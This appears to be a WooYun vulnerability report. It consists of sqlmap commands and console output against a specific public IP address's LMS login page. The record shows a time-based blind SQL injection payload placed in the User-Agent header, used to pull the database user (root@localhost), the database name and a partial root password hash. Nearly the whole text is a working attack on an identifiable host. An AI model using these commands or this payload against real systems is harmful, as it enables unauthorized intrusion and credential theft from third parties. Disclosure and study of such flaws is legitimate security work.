WooYun.org

http://106.37.209.144/zlms/portal/sp/login.php

User-Agent

E:\Python27\sqlmap>sqlmap.py -u "http://106.37.209.144/zlms/portal/sp/login.php" -p "User-Agent" --dbms "mysql" --current-db --current-user
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201512100967}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 23:40:30
[23:40:30] [INFO] testing connection to the target URL
[23:40:31] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: User-Agent (User-Agent)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: sqlmap/1.0-dev-nongit-201512100967 (http://sqlmap.org)' AND (SELECT * FROM (SELECT(SLEEP(5)))XzGg) AND 'gAdM'='gAdM
---
[23:40:31] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[23:41:10] [INFO] confirming MySQL
[23:41:10] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
[23:41:31] [INFO] adjusting time delay to 4 seconds due to good response times
[23:41:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.10, PHP 5.2.9
back-end DBMS: MySQL >= 5.0.0
[23:41:31] [INFO] fetching current user
[23:41:31] [INFO] retrieved: root@localhost
[23:50:59] [ERROR] invalid character detected. retrying..
[23:50:59] [WARNING] increasing time delay to 5 seconds
current user:    'root@localhost'
[23:51:01] [INFO] fetching current database
[23:51:01] [INFO] retrieved: lms
current database:    'lms'

E:\Python27\sqlmap>sqlmap.py -u "http://106.37.209.144/zlms/portal/sp/login.php" -p "User-Agent" --dbms "mysql" --password
         _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201512100967}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 00:14:13
[00:14:13] [INFO] testing connection to the target URL
[00:14:14] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: User-Agent (User-Agent)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: sqlmap/1.0-dev-nongit-201512100967 (http://sqlmap.org)' AND (SELECT * FROM (SELECT(SLEEP(5)))XzGg) AND 'gAdM'='gAdM
---
[00:14:14] [INFO] testing MySQL
[00:14:14] [INFO] confirming MySQL
[00:14:14] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.10, PHP 5.2.9
back-end DBMS: MySQL >= 5.0.0
[00:14:14] [INFO] fetching database users password hashes
[00:14:14] [INFO] fetching database users
[00:14:14] [INFO] fetching number of database users
[00:14:14] [WARNING] time-based comparison requires larger statistical model, please wait..............................
[00:14:26] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
1
[00:14:50] [INFO] retrieved:
[00:15:12] [INFO] adjusting time delay to 1 second due to good response times
'root'@'localhost'
[00:18:28] [INFO] fetching number of password hashes for user 'root'
[00:18:28] [INFO] retrieved: 1
[00:18:35] [INFO] fetching password hashes for user 'root'
[00:18:35] [INFO] retrieved: 4630
[00:19:29] [ERROR] invalid character detected. retrying..
[00:19:29] [WARNING] increasing time delay to 2 seconds
c75c3
[00:21:04] [ERROR] invalid character detected. retrying..
[00:21:04] [WARNING] increasing time delay to 3 seconds
1e0f5b2
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] root [1]:
    password hash: ***********************